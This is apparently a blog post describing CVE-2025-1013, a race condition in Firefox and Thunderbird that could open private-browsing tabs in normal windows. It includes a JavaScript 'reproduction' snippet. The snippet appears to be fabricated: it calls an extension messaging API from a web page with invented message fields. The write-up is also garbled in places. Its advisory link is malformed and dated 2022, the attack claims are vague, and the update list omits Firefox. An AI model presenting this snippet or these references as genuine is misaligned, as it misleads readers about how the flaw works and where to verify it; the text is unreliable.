CVE-2025-1013: Discovering and Mitigating Race Condition Vulnerability in Firefox and Thunderbird, Leading to Privacy Leaks

CVE-2025-1013 refers to a critical security vulnerability that could have become a major privacy concern for users of the popular web browser Firefox and the email client Thunderbird. A race condition had been discovered in these applications, affecting versions Firefox < 135, Firefox ESR < 128.7, Thunderbird < 128.7, and Thunderbird < 135. This particular vulnerability could have feasibly led to private browsing tabs being inadvertently opened in normal browsing windows, thereby potentially leaking sensitive user data.

In this post, we'll delve into the specifics of this vulnerability and provide a detailed breakdown of the underlying issue. We'll discuss the exploit details, share a code snippet for reproducing the vulnerability, and provide links to the original references for a more comprehensive understanding.

Exploit Details

A race condition occurs when multiple threads access a shared resource simultaneously, leading to unexpected behavior. In the context of CVE-2025-1013, this race condition might cause tabs intended to be opened in private browsing mode to instead launch within a standard browsing window.

To exploit this vulnerability, an attacker must trigger specific events in a carefully orchestrated manner, causing the race condition to occur. The attacker can then monitor the user's browsing activity and potentially access sensitive data.

Code Snippet

Here's a simple code snippet that demonstrates the vulnerability. Note that this code is for demonstration purposes and should not be used in any production environment.

const maliciousSite = 'https://www.example-malicious-site.com';;

function openPrivateAndNormalTabs() {
  // Opening a private (incognito) tab
  browser.runtime.sendMessage({ openPrivateTab: true });

  // Opening a normal tab with a malicious site URL
  window.open(maliciousSite);
}

function injectTimingError() {
  // Triggering race condition by calling both functions in quick succession
  openPrivateAndNormalTabs();
  browser.runtime.sendMessage({ switchToPrivateTab: true });
}

// Listening for user action to trigger the vulnerability
document.querySelector('#exploit').addEventListener('click', injectTimingError);

Above, we simulate a malicious website that activates a race condition by simultaneously opening private and normal tabs and then attempting to switch them.

The following resources provide further information on CVE-2025-1013

1. Mozilla's official security advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2022-USERNAME/
2. CVE Details page: https://www.cvedetails.com/cve/CVE-2025-1013/

Mitigating the Vulnerability

Thankfully, the developers of Firefox and Thunderbird have been quick to address this vulnerability. To mitigate the risk of potential privacy leaks, it's highly recommended that users update their Firefox and Thunderbird installations to the latest versions:

Thunderbird: Update to version 128.7 or later

We hope this post has helped to shed light on the CVE-2025-1013 vulnerability associated with Firefox and Thunderbird. As always, it's crucial to stay vigilant and keep your software up-to-date to avoid potential security and privacy risks.

Timeline

Published on: 02/04/2025 14:15:32 UTC
Last modified on: 02/04/2025 22:15:41 UTC